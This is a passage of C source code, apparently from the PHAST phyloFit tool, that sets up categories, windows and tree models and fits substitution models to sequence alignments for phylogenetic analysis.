= lst_new_ptr(10); String *nodename; str_split(currstr, ":", tmplst); if (lst_size(tmplst) != 2) die("ERROR: bad argument to --label-branches or --label-subtree.\n"); arg1 = lst_get_ptr(tmplst, 0); label = lst_get_ptr(tmplst, 1); lst_clear(tmplst); if (lst_get_int(pf->label_type, i) == BRANCH_TYPE) { str_split(arg1, ",", tmplst); for (j=0; j < lst_size(tmplst); j++) { nodename = (String*)lst_get_ptr(tmplst, j); tr_label_node(tree, nodename->chars, label->chars); } lst_free_strings(tmplst); } else if (lst_get_int(pf->label_type, i) == SUBTREE_TYPE) { int include_leading_branch = FALSE; TreeNode *node; nodename = arg1; node = tr_get_node(tree, nodename->chars); if (node == NULL && nodename->chars[nodename->length-1] == '+') { nodename->chars[--nodename->length] = '\0'; node = tr_get_node(tree, nodename->chars); include_leading_branch = TRUE; } tr_label_subtree(tree, nodename->chars, include_leading_branch, label->chars); } else die("ERROR got label_type %i\n", lst_get_int(pf->label_type, i)); str_free(arg1); str_free(label); lst_free(tmplst); } } if (msa_alph_has_lowercase(msa)) msa_toupper(msa); msa_remove_N_from_alph(msa); /* for backward compatibility */ /* set up for categories */ /* first label sites, if necessary */ if (gff != NULL && pf->label_categories) { if (msa->idx_offset > 0) { /* if these's an offset, we'll just subtract it from all features */ for (i = 0; i < lst_size(gff->features); i++) { GFF_Feature *f = lst_get_ptr(gff->features, i); f->start -= msa->idx_offset; f->end -= msa->idx_offset; } msa->idx_offset = 0; } /* convert GFF to coordinate frame of alignment */ msa_map_gff_coords(msa, gff, 1, 0, 0); /* reverse complement segments of MSA corresponding to features on reverse strand (if necessary) */ if (pf->reverse_group_tag != NULL) { gff_group(gff, pf->reverse_group_tag); msa_reverse_compl_feats(msa, gff, NULL); } /* label categories */ if (!quiet) fprintf(stderr, "Labeling alignment sites by category ...\n"); msa_label_categories(msa, gff, pf->cm); } else if (pf->nonoverlapping && pf->label_categories) { /* (already taken care of if MAF) */ int cycle_size = tm_order(subst_mod) + 1; if (!(msa->seqs != NULL && msa->ss == NULL)) die("ERROR run_phyloFit: need explicit sequences, not sufficient statistics\n"); msa->categories = smalloc(msa->length * sizeof(int)); for (i = 0; i < msa->length; i++) msa->categories[i] = (i % cycle_size) + 1; msa->ncats = cycle_size; } /* at this point, we have msa->ncats > 0 iff we intend to do category-by-category estimation */ /* now set up list of categories to process. There are several cases to consider */ if (msa->ncats < 0) { if (pf->cats_to_do_str != NULL) fprintf(stderr, "WARNING: ignoring --do-cats; no category information.\n"); cats_to_do = lst_new_int(1); lst_push_int(cats_to_do, -1); /* no categories -- pool all sites */ } else if (pf->cats_to_do_str == NULL) { cats_to_do = lst_new_int(msa->ncats + 1); for (i = 0; i <= msa->ncats; i++) lst_push_int(cats_to_do, i); /* have categories but no --do-cats -- process all categories */ } else if (pf->cm != NULL) cats_to_do = cm_get_category_list(pf->cm, pf->cats_to_do_str, 0); /* have --do-cats and category map; use cm_get_category_list (allows use of names as well as numbers) */ else if (pf->cats_to_do_str != NULL) cats_to_do = str_list_as_int(pf->cats_to_do_str); /* have --do-cats but no category map; use literal numbers */ /* set up windows, if necessary */ if (pf->window_size != -1) { if (pf->window_coords != NULL) die("ERROR: cannot use both --windows and --windows-explicit.\n"); pf->window_coords = lst_new_int(msa->length/pf->window_shift + 1); for (i = 1; i < msa->length; i += pf->window_shift) { lst_push_int(pf->window_coords, i); lst_push_int(pf->window_coords, min(i + pf->window_size - 1, msa->length)); } free_window_coords = TRUE; } if (pf->window_coords != NULL) { /* set up summary file */ String *sumfname=NULL; msa_coord_map *map; if (pf->output_fname_root != NULL) { sumfname = str_new_charstr(pf->output_fname_root); str_append_charstr(sumfname, ".win-sum"); WINDOWF = phast_fopen(sumfname->chars, "w+"); str_free(sumfname); } print_window_summary(WINDOWF, NULL, 0, 0, NULL, NULL, 0, 0, TRUE); /* map to coord frame of alignment */ map = msa_build_coord_map(msa, 1); for (i = 0; i < lst_size(pf->window_coords); i += 2) { lst_set_int(pf->window_coords, i, msa_map_seq_to_msa(map, lst_get_int(pf->window_coords, i))); lst_set_int(pf->window_coords, i+1, msa_map_seq_to_msa(map, lst_get_int(pf->window_coords, i+1))); } msa_map_free(map); } if (pf->error_fname != NULL) error_file = phast_fopen(pf->error_fname, "w"); /* now estimate models (window by window, if necessary) */ mod_fname = str_new(STR_MED_LEN); source_msa = msa; for (win = 0; win < (pf->window_coords == NULL ? 1 : lst_size(pf->window_coords)); win += 2) { int win_beg, win_end; if (pf->window_coords != NULL) { win_beg = lst_get_int(pf->window_coords, win); win_end = lst_get_int(pf->window_coords, win+1); if (win_beg < 0 || win_end < 0) continue; /* note: msa_sub_alignment uses a funny indexing system (see docs) */ msa = msa_sub_alignment(source_msa, NULL, 0, win_beg-1, win_end); } /* process each category */ for (i = 0; i < lst_size(cats_to_do); i++) { TreeModel *mod; Vector *params = NULL; List *pruned_names; int old_nnodes, cat = lst_get_int(cats_to_do, i); unsigned int ninf_sites; if (input_mod == NULL) mod = tm_new(tr_create_copy(tree), NULL, NULL, subst_mod, msa->alphabet, pf->nratecats == -1 ? 1 : pf->nratecats, pf->alpha, pf->rate_consts, root_leaf_id); else if (pf->likelihood_only) mod = input_mod; else { List *rate_consts, *freq; double alpha; int nratecats; if (pf->nratecats != -1) { nratecats = pf->nratecats; alpha = pf->alpha; rate_consts = pf->rate_consts; freq = NULL; } else { nratecats = input_mod->nratecats; alpha = input_mod->alpha; if (input_mod->rK != NULL) { rate_consts = lst_new_dbl(input_mod->nratecats); for (j=0; j < input_mod->nratecats; j++) lst_push_dbl(rate_consts, input_mod->rK[j]); } else rate_consts = NULL; if (input_mod->freqK != NULL) { freq = lst_new_dbl(input_mod->nratecats); for (j=0; j < input_mod->nratecats; j++) lst_push_dbl(freq, input_mod->freqK[j]); } else freq = NULL; } mod = input_mod; tm_reinit(mod, subst_mod, nratecats, alpha, rate_consts, freq); if (rate_consts != pf->rate_consts) lst_free(rate_consts); if (freq != NULL) lst_free(freq); } if (pf->use_selection) { mod->selection_idx = 0; mod->selection = pf->selection; } mod->noopt_arg = pf->nooptstr == NULL ? NULL : str_new_charstr(pf->nooptstr->chars); mod->eqfreq_sym = pf->symfreq || subst_mod == SSREV; if (pf->bound_arg != NULL) { mod->bound_arg = lst_new_ptr(lst_size(pf->bound_arg)); for (j=0; j < lst_size(pf->bound_arg); j++) { String *tmp = lst_get_ptr(pf->bound_arg, j); lst_push_ptr(mod->bound_arg, str_new_charstr(tmp->chars)); } } else mod->bound_arg = NULL; mod->use_conditionals = pf->use_conditionals; if (pf->estimate_scale_only || pf->estimate_backgd || pf->no_rates || pf->assume_clock) { if (pf->estimate_scale_only) { mod->estimate_branchlens = TM_SCALE_ONLY; if (pf->subtree_name != NULL) { /* estimation of subtree scale */ String *s1 = str_new_charstr(pf->subtree_name), *s2 = str_new_charstr(pf->subtree_name); str_root(s1, ':'); str_suffix(s2, ':'); /* parse string */ mod->subtree_root = tr_get_node(mod->tree, s1->chars); if (mod->subtree_root == NULL) { tr_name_ancestors(mod->tree); mod->subtree_root = tr_get_node(mod->tree, s1->chars); if (mod->subtree_root == NULL) die("ERROR: no node named '%s'.\n", s1->chars); } if (s2->length > 0) { if (str_equals_charstr(s2, "loss")) mod->scale_sub_bound = LB; else if (str_equals_charstr(s2, "gain")) mod->scale_sub_bound = UB; else die("ERROR: unrecognized suffix '%s'\n", s2->chars); } str_free(s1); str_free(s2); } } else if (pf->assume_clock) mod->estimate_branchlens = TM_BRANCHLENS_CLOCK; if (pf->no_rates) mod->estimate_ratemat = FALSE; mod->estimate_backgd = pf->estimate_backgd; } if (pf->no_branchlens) mod->estimate_branchlens = TM_BRANCHLENS_NONE; if (pf->ignore_branches != NULL) tm_set_ignore_branches(mod, pf->ignore_branches); old_nnodes = mod->tree->nnodes; pruned_names = lst_new_ptr(msa->nseqs); tm_prune(mod, msa, pruned_names); if (lst_size(pruned_names) == (old_nnodes + 1) / 2) die("ERROR: no match for leaves of tree in alignment (leaf names must match alignment names).\n"); if (!quiet && lst_size(pruned_names) > 0) { fprintf(stderr, "WARNING: pruned away leaves of tree with no match in alignment ("); for (j = 0; j < lst_size(pruned_names); j++) fprintf(stderr, "%s%s", ((String*)lst_get_ptr(pruned_names, j))->chars, j < lst_size(pruned_names) - 1 ? ", " : ").\n"); } lst_free_strings(pruned_names); lst_free(pruned_names); if (pf->alt_mod_str != NULL) { for (j = 0 ; j < lst_size(pf->alt_mod_str); j++) tm_add_alt_mod(mod, (String*)lst_get_ptr(pf->alt_mod_str, j)); } str_clear(tmpstr); if (pf->msa_fname != NULL) str_append_charstr(tmpstr, pf->msa_fname); else str_append_charstr(tmpstr, "alignment"); if (cat != -1 || pf->window_coords != NULL) { str_append_charstr(tmpstr, " ("); if (cat != -1) { str_append_charstr(tmpstr, "category "); str_append_int(tmpstr, cat); } if (pf->window_coords != NULL) { if (cat != -1) str_append_charstr(tmpstr, ", "); str_append_charstr(tmpstr, "window "); str_append_int(tmpstr, win/2 + 1); } str_append_char(tmpstr, ')'); } ninf_sites = msa_ninformative_sites(msa, cat); if (ninf_sites < pf->nsites_threshold) { if (input_mod == NULL) tm_free(mod); fprintf(stderr, "Skipping %s; insufficient informative sites ...\n", tmpstr->chars); continue; } if (pf->init_parsimony) { double parsimony_cost = tm_params_init_branchlens_parsimony(NULL, mod, msa, cat); if (parsimony_cost_file != NULL) fprintf(parsimony_cost_file, "%f\n", parsimony_cost); if (pf->parsimony_only) continue; } if (pf->likelihood_only) { double *col_log_probs = pf->do_column_probs ? smalloc(msa->length * sizeof(double)) : NULL; String *colprob_fname; if (!quiet) fprintf(stderr, "Computing likelihood of %s ...\n", tmpstr->chars); tm_set_subst_matrices(mod); if (pf->do_column_probs && msa->ss != NULL && msa->ss->tuple_idx == NULL) { msa->ss->tuple_idx = smalloc(msa->length * sizeof(int)); for (j = 0; j < msa->length; j++) msa->ss->tuple_idx[j] = j; } mod->lnL = tl_compute_log_likelihood(mod, msa, col_log_probs, NULL, cat, NULL) * log(2); if (pf->do_column_probs) { //we don't need to implement this in RPHAST because there is //already a msa.likelihood function if (pf->output_fname_root == NULL) die("ERROR: currently do_column_probs requires output file"); colprob_fname = str_new_charstr(pf->output_fname_root); str_append_charstr(colprob_fname, ".colprobs"); if (!quiet) fprintf(stderr, "Writing column probabilities to %s ...\n", colprob_fname->chars); F = phast_fopen(colprob_fname->chars, "w+"); for (j = 0; j < msa->length; j++) fprintf(F, "%d\t%.6f\n", j, col_log_probs[j]); phast_fclose(F); str_free(colprob_fname); sfree(col_log_probs); } } else { /* fit model */ if (msa->ss == NULL) { /* get sufficient stats if necessary */ if (!quiet) fprintf(stderr, "Extracting sufficient statistics ...\n"); ss_from_msas(msa, mod->order+1, 0, pf->cats_to_do_str != NULL ? cats_to_do : NULL, NULL, NULL, -1, subst_mod_is_codon_model(mod->subst_mod)); /* (sufficient stats obtained only for categories of interest) */ if (msa->length > 1000000) { /* throw out original data if very large */ for (j = 0; j < msa->nseqs; j++) sfree(msa->seqs[j]); sfree(msa->seqs); msa->seqs = NULL; } } if (pf->random_init) params = tm_params_init_random(mod); else if (input_mod != NULL) params = tm_params_new_init_from_model(input_mod); else params = tm_params_init(mod, .1, 5, pf->alpha); if (pf->init_parsimony) tm_params_init_branchlens_parsimony(params, mod, msa, cat); if (input_mod != NULL && mod->backgd_freqs != NULL && !pf->no_freqs && pf->init_backgd_from_data) { /* in some cases, the eq freqs are needed for initialization, but now they should be re-estimated -- UNLESS user specifies --no-freqs */ vec_free(mod->backgd_freqs); mod->backgd_freqs = NULL; } if (i == 0) { if (!quiet) fprintf(stderr, "Compacting sufficient statistics ...\n"); ss_collapse_missing(msa, !pf->gaps_as_bases); /* reduce number of tuples as much as possible */ } if (!quiet) { fprintf(stderr, "Fitting tree model to %s using %s%s ...\n", tmpstr->chars, tm_get_subst_mod_string(subst_mod), mod->nratecats > 1 ? " (with rate variation)" : ""); } if (pf->use_em) tm_fit_em(mod, msa, params, cat, pf->precision, pf->max_em_its, pf->logf, error_file); else tm_fit(mod, msa, params, cat, pf->precision, pf->logf, pf->quiet, error_file); } if (pf->output_fname_root != NULL) str_cpy_charstr(mod_fname, pf->output_fname_root); else str_clear(mod_fname); if (pf->window_coords != NULL) { if (mod_fname->length != 0) str_append_char(mod_fname, '.'); str_append_charstr(mod_fname, "win-"); str_append_int(mod_fname, win/2 + 1); } if (cat != -1 && pf->nonoverlapping == FALSE) { if (mod_fname->length != 0) str_append_char(mod_fname, '.'); if (pf->cm != NULL) str_append(mod_fname, cm_get_feature_unique(pf->cm, cat)); else str_append_int(mod_fname, cat); } if (pf->output_fname_root != NULL) str_append_charstr(mod_fname, ".mod"); if (pf->output_fname_root != NULL) { if (!quiet) fprintf(stderr, "Writing model to %s ...\n", mod_fname->chars); F = phast_fopen(mod_fname->chars, "w+"); tm_print(F, mod); phast_fclose(F); } if (pf->results != NULL) lol_push_treeModel(pf->results, mod, mod_fname->chars); /* output posterior probabilities, if necessary */ if (pf->do_bases || pf->do_expected_nsubst || pf->do_expected_nsubst_tot || pf->do_expected_nsubst_col) { print_post_prob_stats(mod, msa, pf->output_fname_root, pf->do_bases, pf->do_expected_nsubst, pf->do_expected_nsubst_tot, pf->do_expected_nsubst_col, 0, cat, quiet, NULL); } /* print window summary, if window mode */ if (pf->window_coords != NULL) { int i, j, total=0; char c; if (gc == NULL) gc = smalloc(msa->nseqs*sizeof(double)); for (i=0; i < msa->nseqs; i++) { total=0; gc[i]=0; for (j=0; j<msa->length; j++) { c = msa_get_char(msa, i, j); if ((!msa->is_missing[(int)c]) && c != GAP_CHAR) { total++; if (c=='C' || c=='G') gc[i]++; } } gc[i] /= (double)total; } print_window_summary(WINDOWF, pf->window_coords, win, cat, mod, gc, ninf_sites, msa->nseqs, FALSE); } if (input_mod == NULL) tm_free(mod); if (params != NULL) vec_free(params); } if (pf->window_coords != NULL) msa_free(msa); } if (error_file != NULL) phast_fclose(error_file); if (parsimony_cost_file != NULL) phast_fclose(parsimony_cost_file); str_free(mod_fname); str_free(tmpstr); if (free_cm) { cm_free(pf->cm); pf->cm = NULL; } if (free_cats_to_do_str) { lst_free_strings(pf->cats_to_do_str); lst_free(pf->cats_to_do_str); pf->cats_to_do_str = NULL; } if (free_tree) tr_free(tree); if (cats_to_do != NULL) lst_free(cats_to_do); if (free_window_coords) { lst_free(pf->window_coords); pf->window_coords = NULL; } if (gc != NULL) sfree(gc); return 0; } int setup_phyloFit(struct phyloFit_struct *pf, void *data) { FILE *F, *WINDOWF=NULL; int i, j, win, root_leaf_id = -1; String *mod_fname; MSA *source_msa; String *tmpstr = str_new(STR_SHORT_LEN); List *cats_to_do=NULL; double *gc=NULL; char tmpchstr[STR_MED_LEN]; FILE *parsimony_cost_file = NULL; int free_cm = FALSE, free_cats_to_do_str=FALSE, free_tree=FALSE, free_window_coords = FALSE; //copy some heavily used variables directly from pf for easy access MSA *msa = pf->msa; int subst_mod = pf->subst_mod; TreeNode *tree = pf->tree; GFF_Set *gff = pf->gff; int quiet = pf->quiet; TreeModel *input_mod = pf->input_mod; FILE *error_file=NULL; if (pf->no_freqs) pf->init_backgd_from_data = FALSE; if (pf->parsimony_cost_fname != NULL) parsimony_cost_file = phast_fopen(pf->parsimony_cost_fname, "w"); if (pf->use_conditionals && pf->use_em) die("ERROR: Cannot use --markov with --EM. Type %s for usage.\n", pf->see_for_help); if (pf->likelihood_only && input_mod == NULL) die("ERROR: --lnl requires --init-model. Type '%s' for usage.\n", pf->see_for_help); if (input_mod != NULL && tree != NULL) die("ERROR: --tree is not allowed with --init-model.\n"); if (subst_mod == UNDEF_MOD) { if (pf->input_mod != NULL) subst_mod = pf->input_mod->subst_mod; else subst_mod = REV; } if (pf->gaps_as_bases && subst_mod != JC69 && subst_mod != F81 && subst_mod != HKY85G && subst_mod != REV && subst_mod != UNREST && subst_mod != SSREV) die("ERROR: --gaps-as-bases currently only supported with JC69, F81, HKY85+Gap, REV, SSREV, and UNREST.\n"); /* with HKY, yields undiagonalizable matrix */ if ((pf->no_freqs || pf->no_rates) && input_mod == NULL) die("ERROR: --init-model required with --no-freqs and/or --no-rates.\n"); if (pf->no_freqs && pf->estimate_backgd) die("ERROR: can't use both --no-freqs and --estimate-freqs.\n"); if (gff != NULL && pf->cm == NULL) { pf->cm = cm_new_from_features(gff); free_cm = TRUE; } if (pf->subtree_name != NULL && pf->estimate_scale_only == FALSE) { if (!quiet) fprintf(stderr, "warning: specifying subtree implies scale_only\n"); pf->estimate_scale_only = TRUE; } if (pf->rate_consts != NULL) { lst_qsort_dbl(pf->rate_consts, ASCENDING); if (lst_size(pf->rate_consts) < 2 || lst_get_dbl(pf->rate_consts, 0) <= 0) die("ERROR: must be >= 2 rate constants and all must be positive.\n"); if (pf->nratecats != lst_size(pf->rate_consts)) die("ERROR: rate_consts must have length nratecats"); } /* internally, --non-overlapping is accomplished via --do-cats */ if (pf->nonoverlapping) { if (pf->cats_to_do_str != NULL) die("ERROR: cannot use --do-cats with nonoverlapping"); pf->cats_to_do_str = lst_new_ptr(1); lst_push_ptr(pf->cats_to_do_str, str_new_charstr("1")); free_cats_to_do_str = TRUE; } if (tree == NULL) { if (input_mod != NULL) tree = input_mod->tree; else if (msa->nseqs == 2) { sprintf(tmpchstr, "(%s,%s)", msa->names[0], msa->names[1]); tree = tr_new_from_string(tmpchstr); free_tree = TRUE; } else if (msa->nseqs == 3 && subst_mod_is_reversible(subst_mod) && pf->alt_mod_str == NULL) { sprintf(tmpchstr, "(%s,(%s,%s))", msa->names[0], msa->names[1], msa->names[2]); tree = tr_new_from_string(tmpchstr); free_tree = TRUE; } else die("ERROR: --tree required.\n"); } /* allow for specified ancestor */ if (pf->root_seqname != NULL) { TreeNode *rl; if (tree == NULL || subst_mod_is_reversible(subst_mod)) die("ERROR: --ancestor requires --tree and a non-reversible model.\n"); rl = tr_get_node(tree, pf->root_seqname); if (rl == NULL || rl->parent != tree) die("ERROR: Sequence specified by --ancestor must be a child of the root.\n"); root_leaf_id = rl->id; } if (pf->label_str != NULL || pf->label_type != NULL) { if (pf->label_str == NULL || pf->label_type == NULL || lst_size(pf->label_str) != lst_size(pf->label_type)) //shouldn't happen unless bug die("label_str and label_type should both be lists of same length\n"); for (i=0; i < lst_size(pf->label_str); i++) { String *currstr = (String*)lst_get_ptr(pf->label_str, i), *arg1, *label; List *tmplst = lst_new_ptr(10); String *nodename; str_split(currstr, ":", tmplst); if (lst_size(tmplst) != 2) die("ERROR: bad argument to --label-branches or --label-subtree.\n"); arg1 = lst_get_ptr(tmplst, 0); label = lst_get_ptr(tmplst, 1); lst_clear(tmplst); if (lst_get_int(pf->label_type, i) == BRANCH_TYPE) { str_split(arg1, ",", tmplst); for (j=0; j < lst_size(tmplst); j++) { nodename = (String*)lst_get_ptr(tmplst, j); tr_label_node(tree, nodename->chars, label->chars); } lst_free_strings(tmplst); } else if (lst_get_int(pf->label_type, i) == SUBTREE_TYPE) { int include_leading_branch = FALSE; TreeNode *node; nodename = arg1; node = tr_get_node(tree, nodename->chars); if (node == NULL && nodename->chars[nodename->length-1] == '+') { nodename->chars[--nodename->length] = '\0'; node = tr_get_node(tree, nodename->chars); include_leading_branch = TRUE; } tr_label_subtree(tree, nodename->chars, include_leading_branch, label->chars); } else die("ERROR got label_type %i\n", lst_get_int(pf->label_type, i)); str_free(arg1); str_free(label); lst_free(tmplst); } } if (msa_alph_has_lowercase(msa)) msa_toupper(msa); msa_remove_N_from_alph(msa); /* for backward compatibility */ /* set up for categories */ /* first label sites, if necessary */ if (gff != NULL && pf->label_categories) { if (msa->idx_offset > 0) { /* if these's an offset, we'll just subtract it from all features */ for (i = 0; i < lst_size(gff->features); i++) { GFF_Feature *f = lst_get_ptr(gff->features, i); f->start -= msa->idx_offset; f->end -= msa->idx_offset; } msa->idx_offset = 0; } /* convert GFF to coordinate frame of alignment */ msa_map_gff_coords(msa, gff, 1, 0, 0); /* reverse complement segments of MSA corresponding to features on reverse strand (if necessary) */ if (pf->reverse_group_tag != NULL) { gff_group(gff, pf->reverse_group_tag); msa_reverse_compl_feats(msa, gff, NULL); } /* label categories */ if (!quiet) fprintf(stderr, "Labeling alignment sites by category ...\n"); msa_label_categories(msa, gff, pf->cm); } else if (pf->nonoverlapping && pf->label_categories) { /* (already taken care of if MAF) */ int cycle_size = tm_order(subst_mod) + 1; if (!(msa->seqs != NULL && msa->ss == NULL)) die("ERROR run_phyloFit: need explicit sequences, not sufficient statistics\n"); msa->categories = smalloc(msa->length * sizeof(int)); for (i = 0; i < msa->length; i++) msa->categories[i] = (i % cycle_size) + 1; msa->ncats = cycle_size; } /* at this point, we have msa->ncats > 0 iff we intend to do category-by-category estimation */ /* now set up list of categories to process. There are several cases to consider */ if (msa->ncats < 0) { if (pf->cats_to_do_str != NULL) fprintf(stderr, "WARNING: ignoring --do-cats; no category information.\n"); cats_to_do = lst_new_int(1); lst_push_int(cats_to_do, -1); /* no categories -- pool all sites */ } else if (pf->cats_to_do_str == NULL) { cats_to_do = lst_new_int(msa->ncats + 1); for (i = 0; i <= msa->ncats; i++) lst_push_int(cats_to_do, i); /* have categories but no --do-cats -- process all categories */ } else if (pf->cm != NULL) cats_to_do = cm_get_category_list(pf->cm, pf->cats_to_do_str, 0); /* have --do-cats and category map; use cm_get_category_list (allows use of names as well as numbers) */ else if (pf->cats_to_do_str != NULL) cats_to_do = str_list_as_int(pf->cats_to_do_str); /* have --do-cats but no category map; use literal numbers */ /* set up windows, if necessary */ if (pf->window_size != -1) { if (pf->window_coords != NULL) die("ERROR: cannot use both --windows and --windows-explicit.\n"); pf->window_coords = lst_new_int(msa->length/pf->window_shift + 1); for (i = 1; i < msa->length; i += pf->window_shift) { lst_push_int(pf->window_coords, i); lst_push_int(pf->window_coords, min(i + pf->window_size - 1, msa->length)); } free_window_coords = TRUE; } if (pf->window_coords != NULL) { /* set up summary file */ String *sumfname=NULL; msa_coord_map *map; if (pf->output_fname_root != NULL) { sumfname = str_new_charstr(pf->output_fname_root); str_append_charstr(sumfname, ".win-sum"); WINDOWF = phast_fopen(sumfname->chars, "w+"); str_free(sumfname); } print_window_summary(WINDOWF, NULL, 0, 0, NULL, NULL, 0, 0, TRUE); /* map to coord frame of alignment */ map = msa_build_coord_map(msa, 1); for (i = 0; i < lst_size(pf->window_coords); i += 2) { lst_set_int(pf->window_coords, i, msa_map_seq_to_msa(map, lst_get_int(pf->window_coords, i))); lst_set_int(pf->window_coords, i+1, msa_map_seq_to_msa(map, lst_get_int(pf->window_coords, i+1))); } msa_map_free(map); } if (pf->error_fname != NULL) error_file = phast_fopen(pf->error_fname, "w"); /* now estimate models (window by window, if necessary) */ mod_fname = str_new(STR_MED_LEN); source_msa = msa; for (win = 0; win < (pf->window_coords == NULL ? 1 : lst_size(pf->window_coords)); win += 2) { int win_beg, win_end; if (pf->window_coords != NULL) { win_beg = lst_get_int(pf->window_coords, win); win_end = lst_get_int(pf->window_coords, win+1); if (win_beg < 0 || win_end < 0) continue; /* note: msa_sub_alignment uses a funny indexing system (see docs) */ msa = msa_sub_alignment(source_msa, NULL, 0, win_beg-1, win_end); } /* process each category */ for (i = 0; i < lst_size(cats_to_do); i++) { TreeModel *mod; Vector *params = NULL; List *pruned_names; int old_nnodes, cat = lst_get_int(cats_to_do, i); unsigned int ninf_sites; if (input_mod == NULL) mod = tm_new(tr_create_copy(tree), NULL, NULL, subst_mod, msa->alphabet, pf->nratecats == -1 ? 1 : pf->nratecats, pf->alpha, pf->rate_consts, root_leaf_id); else if (pf->likelihood_only) mod = input_mod; else { List *rate_consts, *freq; double alpha; int nratecats; if (pf->nratecats != -1) { nratecats = pf->nratecats; alpha = pf->alpha; rate_consts = pf->rate_consts; freq = NULL; } else { nratecats = input_mod->nratecats; alpha = input_mod->alpha; if (input_mod->rK != NULL) { rate_consts = lst_new_dbl(input_mod->nratecats); for (j=0; j < input_mod->nratecats; j++) lst_push_dbl(rate_consts, input_mod->rK[j]); } else rate_consts = NULL; if (input_mod->freqK != NULL) { freq = lst_new_dbl(input_mod->nratecats); for (j=0; j < input_mod->nratecats; j++) lst_push_dbl(freq, input_mod->freqK[j]); } else freq = NULL; } mod = input_mod; tm_reinit(mod, subst_mod, nratecats, alpha, rate_consts, freq); if (rate_consts != pf->rate_consts) lst_free(rate_consts); if (freq != NULL) lst_free(freq); } if (pf->use_selection) { mod->selection_idx = 0; mod->selection = pf->selection; } mod->noopt_arg = pf->nooptstr == NULL ? NULL : str_new_charstr(pf->nooptstr->chars); mod->eqfreq_sym = pf->symfreq || subst_mod == SSREV; if (pf->bound_arg != NULL) { mod->bound_arg = lst_new_ptr(lst_size(pf->bound_arg)); for (j=0; j < lst_size(pf->bound_arg); j++) { String *tmp = lst_get_ptr(pf->bound_arg, j); lst_push_ptr(mod->bound_arg, str_new_charstr(tmp->chars)); } } else mod->bound_arg = NULL; mod->use_conditionals = pf->use_conditionals; if (pf->estimate_scale_only || pf->estimate_backgd || pf->no_rates || pf->assume_clock) { if (pf->estimate_scale_only) { mod->estimate_branchlens = TM_SCALE_ONLY; if (pf->subtree_name != NULL) { /* estimation of subtree scale */ String *s1 = str_new_charstr(pf->subtree_name), *s2 = str_new_charstr(pf->subtree_name); str_root(s1, ':'); str_suffix(s2, ':'); /* parse string */ mod->subtree_root = tr_get_node(mod->tree, s1->chars); if (mod->subtree_root == NULL) { tr_name_ancestors(mod->tree); mod->subtree_root = tr_get_node(mod->tree, s1->chars); if (mod->subtree_root == NULL) die("ERROR: no node named '%s'.\n", s1->chars); } if (s2->length > 0) { if (str_equals_charstr(s2, "loss")) mod->scale_sub_bound = LB; else if (str_equals_charstr(s2, "gain")) mod->scale_sub_bound = UB; else die("ERROR: unrecognized suffix '%s'\n", s2->chars); } str_free(s1); str_free(s2); } } else if (pf->assume_clock) mod->estimate_branchlens = TM_BRANCHLENS_CLOCK; if (pf->no_rates) mod->estimate_ratemat = FALSE; mod->estimate_backgd = pf->estimate_backgd; } if (pf->no_branchlens) mod->estimate_branchlens = TM_BRANCHLENS_NONE; if (pf->ignore_branches != NULL) tm_set_ignore_branches(mod, pf->ignore_branches); old_nnodes = mod->tree->nnodes; pruned_names = lst_new_ptr(msa->nseqs); tm_prune(mod, msa, pruned_names); if (lst_size(pruned_names) == (old_nnodes + 1) / 2) die("ERROR: no match for leaves of tree in alignment (leaf names must match alignment names).\n"); if (!quiet && lst_size(pruned_names) > 0) { fprintf(stderr, "WARNING: pruned away leaves of tree with no match in alignment ("); for (j = 0; j < lst_size(pruned_names); j++) fprintf(stderr, "%s%s", ((String*)lst_get_ptr(pruned_names, j))->chars, j < lst_size(pruned_names) - 1 ? ", " : ").\n"); } lst_free_strings(pruned_names); lst_free(pruned_names); if (pf->alt_mod_str != NULL) { for (j = 0 ; j < lst_size(pf->alt_mod_str); j++) tm_add_alt_mod(mod, (String*)lst_get_ptr(pf->alt_mod_str, j)); } str_clear(tmpstr); if (pf->msa_fname != NULL) str_append_charstr(tmpstr, pf->msa_fname); else str_append_charstr(tmpstr, "alignment"); if (cat != -1 || pf->window_coords != NULL) { str_append_charstr(tmpstr, " ("); if (cat != -1) { str_append_charstr(tmpstr, "category "); str_append_int(tmpstr, cat); } if (pf->window_coords != NULL) { if (cat != -1) str_append_charstr(tmpstr, ", "); str_append_charstr(tmpstr, "window "); str_append_int(tmpstr, win/2 + 1); } str_append_char(tmpstr, ')'); } ninf_sites = msa_ninformative_sites(msa, cat); if (ninf_sites < pf->nsites_threshold) { if (input_mod == NULL) tm_free(mod); fprintf(stderr, "Skipping %s; insufficient informative sites ...\n", tmpstr->chars); continue; } if (pf->init_parsimony) { double parsimony_cost = tm_params_init_branchlens_parsimony(NULL, mod, msa, cat); if (parsimony_cost_file != NULL) fprintf(parsimony_cost_file, "%f\n", parsimony_cost); if (pf->parsimony_only) continue; } if (pf->likelihood_only) { double *col_log_probs = pf->do_column_probs ? smalloc(msa->length * sizeof(double)) : NULL; String *colprob_fname; if (!quiet) fprintf(stderr, "Computing likelihood of %s ...\n", tmpstr->chars); tm_set_subst_matrices(mod); if (pf->do_column_probs && msa->ss != NULL && msa->ss->tuple_idx == NULL) { msa->ss->tuple_idx = smalloc(msa->length * sizeof(int)); for (j = 0; j < msa->length; j++) msa->ss->tuple_idx[j] = j; } mod->lnL = tl_compute_log_likelihood(mod, msa, col_log_probs, NULL, cat, NULL) * log(2); if (pf->do_column_probs) { //we don't need to implement this in RPHAST because there is //already a msa.likelihood function if (pf->output_fname_root == NULL) die("ERROR: currently do_column_probs requires output file"); colprob_fname = str_new_charstr(pf->output_fname_root); str_append_charstr(colprob_fname, ".colprobs"); if (!quiet) fprintf(stderr, "Writing column probabilities to %s ...\n", colprob_fname->chars); F = phast_fopen(colprob_fname->chars, "w+"); for (j = 0; j < msa->length; j++) fprintf(F, "%d\t%.6f\n", j, col_log_probs[j]); phast_fclose(F); str_free(colprob_fname); sfree(col_log_probs); } } else { /* fit model */ if (msa->ss == NULL) { /* get sufficient stats if necessary */ if (!quiet) fprintf(stderr, "Extracting sufficient statistics ...\n"); ss_from_msas(msa, mod->order+1, 0, pf->cats_to_do_str != NULL ? cats_to_do : NULL, NULL, NULL, -1, subst_mod_is_codon_model(mod->subst_mod)); /* (sufficient stats obtained only for categories of interest) */ if (msa->length > 1000000) { /* throw out original data if very large */ for (j = 0; j < msa->nseqs; j++) sfree(msa->seqs[j]); sfree(msa->seqs); msa->seqs = NULL; } } if (pf->random_init) params = tm_params_init_random(mod); else if (input_mod != NULL) params = tm_params_new_init_from_model(input_mod); else params = tm_params_init(mod, .1, 5, pf->alpha); if (pf->init_parsimony) tm_params_init_branchlens_parsimony(params, mod, msa, cat); if 